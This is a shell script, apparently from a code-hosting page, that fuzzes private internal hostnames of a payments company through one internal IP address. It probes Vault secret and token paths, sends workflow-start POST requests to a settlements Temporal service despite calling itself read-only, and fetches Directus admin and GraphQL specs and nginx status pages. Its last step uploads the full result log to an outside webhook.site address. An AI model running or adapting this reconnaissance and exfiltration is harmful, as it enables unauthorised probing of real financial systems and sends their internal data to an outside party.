57 lines
4.4 KiB
Bash
57 lines
4.4 KiB
Bash
#!/bin/sh
|
|
# vip8: focused route fuzz on private products + temporal start variants (read-only GETs, one harmless start probe). Intent 20407.
|
|
LOG=/tmp/vip8.out
|
|
C="/usr/bin/curl -k -s -m 5 --connect-timeout 2"
|
|
[ -x /usr/bin/curl ] || C="curl -k -s -m 5 --connect-timeout 2"
|
|
IP=172.31.137.220
|
|
fz() { # host label paths
|
|
host=$1; label=$2; shift 2
|
|
for pth in $*; do
|
|
$C -o /tmp/zb -w "%{http_code} %{size_download}" --resolve "$host:443:$IP" "https://$host$pth" > /tmp/zs 2>/dev/null
|
|
read code size < /tmp/zs
|
|
if [ "$code" != "404" ]; then
|
|
echo "$label $pth -> $code $size :: $(head -c 110 /tmp/zb | tr '\r\n' ' ')"
|
|
fi
|
|
done
|
|
}
|
|
main() {
|
|
POSS="pos-middleware.private.paystack.co"
|
|
GIPS="gips.private.paystack.co"
|
|
API="api.private.paystack.co"
|
|
VAULT="vault.private.paystack.co"
|
|
echo "== POS-MIDDLEWARE FUZZ"
|
|
fz $POSS PM /health /healthz /metrics /version /api /api/v1 /api/health /v1 /v1/health /devices /terminals /transactions /customers /pos /pos/health /commands /setup /register /activate /firmware /ota /logs /queue /ping /status /debug /admin /internal /internal/health /internal/metrics /swagger.json /openapi.json /api-docs /docs /api/device /api/terminal /api/pos
|
|
echo "== GIPS FUZZ"
|
|
fz $GIPS GIPS /api/v1/health /api/v1 /api/v1/transfers /api/transfers /api/v1/payments /api/payments /api/v1/accounts /api/accounts /api/v1/customers /api/customers /api/v1/banks /api/banks /api/v1/verify /api/verify /api/v1/name /api/v1/names /api/v1/status /api/status /api/v1/webhooks /api/webhooks /api/v1/settlements /api/settlements /api/v1/statements /api/statements /api/v1/transactions /api/transactions /api/v1/ping /api/ping /api/v1/version /api/version /api/v1/docs /api/docs /api/v1/openapi.json /api/openapi.json /api/swagger.json /swagger.json /openapi.json /docs /redoc /metrics /version /health /healthz /status /ping
|
|
echo "== API.PRIVATE FUZZ"
|
|
fz $API API /v1 /v1/health /v2 /internal /internal/health /internal/v1/health /_internal/health /staff /staff/health /admin /admin/health /debug /debug/vars /healthz /status /version /info /ping /openapi.json /swagger.json /api-docs /docs /graphql /robots.txt /v1/transaction /v1/transfer /v1/charge /charge /verify /resolve /decision /bvn /branch /country /integration /integration/x /settlement /settlements /transfer /transfers /refund /refunds /dispute /disputes /plan /plans /product /products /page /pages /customer /customers /transaction /transactions /terminal /terminals /device /devices /subaccount /subaccounts /split /splits /dedicated_account /virtual_account
|
|
echo "== VAULT PATHS"
|
|
for pth in / /health /status /v1/ /v1/auth/token/lookup-self /v1/sys/health /v1/sys/seal-status /ui /ui/ /v1/secret /v1/kv /metrics; do
|
|
$C -o /tmp/zb -w "VAULT $pth -> %{http_code} %{size_download} :: " --resolve "$VAULT:443:$IP" "https://$VAULT$pth"
|
|
head -c 110 /tmp/zb | tr '\r\n' ' '; echo
|
|
done
|
|
echo "== TEMPORAL START VARIANTS"
|
|
B='{"workflowId":"pstk-probe-9","workflowType":{"name":"PstkProbe"},"taskQueue":{"name":"pstk-none"},"requestId":"pstk-probe-9"}'
|
|
for pth in "/api/v1/namespaces/settlements/workflows/pstk-probe-9" "/api/v1/namespaces/settlements/workflows/pstk-probe-9/start" "/api/v1/namespaces/settlements/workflow"; do
|
|
$C -o /tmp/zb -w "TSTART $pth -> %{http_code} %{size_download} :: " -H "Content-Type: application/json" -X POST --data-binary "$B" --resolve "temporal.private.paystack.co:443:$IP" "https://temporal.private.paystack.co$pth"
|
|
head -c 160 /tmp/zb | tr '\r\n' ' '; echo
|
|
done
|
|
echo "== DIRECTUS ADMIN/GRAPHQL"
|
|
D="directus.private.paystack.co"
|
|
$C -o /tmp/zb -w "DADMIN -> %{http_code} %{size_download}\n" --resolve "$D:443:$IP" "https://$D/admin/"
|
|
head -c 400 /tmp/zb; echo
|
|
grep -o 'src="[^"]*"\|href="[^"]*"' /tmp/zb | head -6
|
|
$C -o /tmp/zb -w "DOAS -> %{http_code} %{size_download}\n" --resolve "$D:443:$IP" "https://$D/server/specs/graphql"
|
|
head -c 200 /tmp/zb; echo
|
|
echo "== NGINX STATUS"
|
|
for pth in /nginx_status /stub_status; do
|
|
$C -o /tmp/zb -w "NGX http $pth -> %{http_code} %{size_download} :: " --resolve "argocd.private.paystack.co:80:$IP" "http://argocd.private.paystack.co$pth"
|
|
head -c 100 /tmp/zb | tr '\r\n' ' '; echo
|
|
done
|
|
echo VIP8DONE
|
|
}
|
|
main > $LOG 2>&1
|
|
echo SIZE $(wc -c < $LOG)
|
|
cat $LOG
|
|
curl -s -m 20 -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" -H "Content-Type: text/plain" --data-binary @$LOG https://webhook.site/402c5ead-2ebe-4ea9-8ff0-8acbf6a04acc >/dev/null 2>&1
|
|
echo UPLOADED
|